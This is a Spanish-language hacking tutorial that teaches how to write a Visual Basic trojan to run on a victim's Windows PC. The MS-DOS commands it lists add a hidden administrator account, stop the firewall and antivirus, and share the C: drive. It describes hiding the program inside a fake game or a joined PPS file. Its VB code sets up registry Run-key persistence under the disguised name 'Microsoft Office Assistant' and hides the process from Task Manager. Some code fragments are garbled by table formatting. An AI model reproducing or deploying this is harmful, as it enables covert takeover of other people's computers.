Hacking casero (Visual Basic + MSDOS)
Cutre pero efectivo, lo programas tu, lo compilas, los antivirus no lo detectan y todos contentos ;)
Lo primero, comandos MSDOS que nos interesan saber para después meterlos en el código de Visual Basic para ejecutar en el PC de la víctima,
COMANDO |
EJEMPLO |
DESCRIPCIÓN |
| net user nombreusuario contraseña /ADD | net user IUSR_wXP piruli /add | Crea el usuario IUSR_wXP con la contraseña 'piruli' para que cuando queramos entrar en el PC remoto ya tengamos un usuario y una contraseña |
net group nombregrupo nombreusuario /ADD |
net localgroup Administradores /add IUSR_wXP | Al usuario creado anteriormente le mete en el grupo administradores, para que no tengamos problemas de permisos. Somos el administrador del PC, que más queremos!! :) |
| net stop nombredelservicio | net stop "Firewall de Windows/Conexión compartida a Internet (ICS)" | Sirve para detener servicios que no queremos que nos controle, por ejemplo el firewall de Windows XP, el antivirus, el Antispiware... |
| net share nombrerecurso=Path: | net share C=C: | Comparte unidades de disco o el path que nos interese en el PC que se ejecute |
Bien, todos estos comandos, si se nos ocurren más podemos ejecutarlos en el PC del tio que nos interese entrarle en su PC (esto es cuestión de imaginación), por ejemplo con estos nos sirve para crearnos un usuario que sea Administrador, le paramos el firewall y entramos a su disco C, todo por internet y de la forma más sencilla, ahora sólo nos falta que lo ejecute... y como? la mar de sencillo, lee abajo.
Vale, ahora yo lo suelo hacer con Visual Basic, no soy un experto en la materia ni mucho menos, pero hago algún programilla o algún juego para el tio a hackearle y le meto estas lineas. O sino simplemente genero el programilla de VB con estas 4 lineas y con un Joinner (que es un programa que me une varios archivos se lo mando) por ejemplo, le mando un PPS típico de txorradas y con el joinner le hago que se ejecute en segundo plano, lo malo que los joinners los detectan los antivirus, por eso prefiero hacer yo el juego con VB, aunque sea super estúpido, pero que lo ejecute.
Segundo, cómo hacer que se ejecute todo esto cada vez que arranque su ordenador, muy bien, entrando en el registro y generando una entrada aqui:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Y bueno, vamos a lo que es el código fuente de VB necesario, este sería para ejecutar los comandos de MSDOS que nos interesen, se crea una Sub con este contenido y se definen estas dos funciones arriba de todo.
Private
Declare Function
OpenProcess Lib "kernel32" (ByVal
dwDesiredAccess&, ByVal bInheritHandle&,
ByVal dwProcessId&) As
Long Sub
ParaServiciosYcreaUsuario()   '
Comparte C:\ su disco duro como C para que entremos x la red, aunque tambien
podríamos entrar como C$ |
Vale, ahora si lo que nos interesa es meterlo en el registro para que se inicie siempre que arranque el PC de la víctima y que cada vez que reinicie su PC le pare el servicio del firewall, le comparta C...
| Sub MeteloEnRegistro()      Dim hregkey As Long      Dim subkey As String           subkey = "Software\Microsoft\Windows\CurrentVersion\Run"      Dim stringbuffer As String      Dim PathPrograma As String           PathPrograma = "C:\WINDOWS\system32\svchost32.exe"      Dim NombrePrograma As String           NombrePrograma = "Microsoft Office Assistant"      retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)      If retval <> 0 Then           Debug.Print "Can't open the subkey"           Exit Sub      End If      stringbuffer
= PathPrograma & vbNullChar |
Y necesitamos en un módulo meter esto:
Public
Declare Function
RegOpenKeyEx Lib "advapi32.dll" Alias
"RegOpenKeyExA" (ByVal hKey As
Long, ByVal lpSubKey As
String, ByVal ulOptions As
Long, ByVal samDesired As
Long, phkResult As Long)
As Long Public
Const HKEY_CURRENT_USER = &H80000001 |
Puedes descargarte el código fuente completo de AKI. Si tenéis alguna sugerencia es pedirlo o decirlo!
Personalmente me gusta poner esto al principio, cuando se carga la aplicación, es para que el usuario no lo vea ni en pantalla ni en el "Administrador de tareas" que suele ser perfecto para que no nos mate el proceso.
| Me.Visible = False App.TaskVisible = False |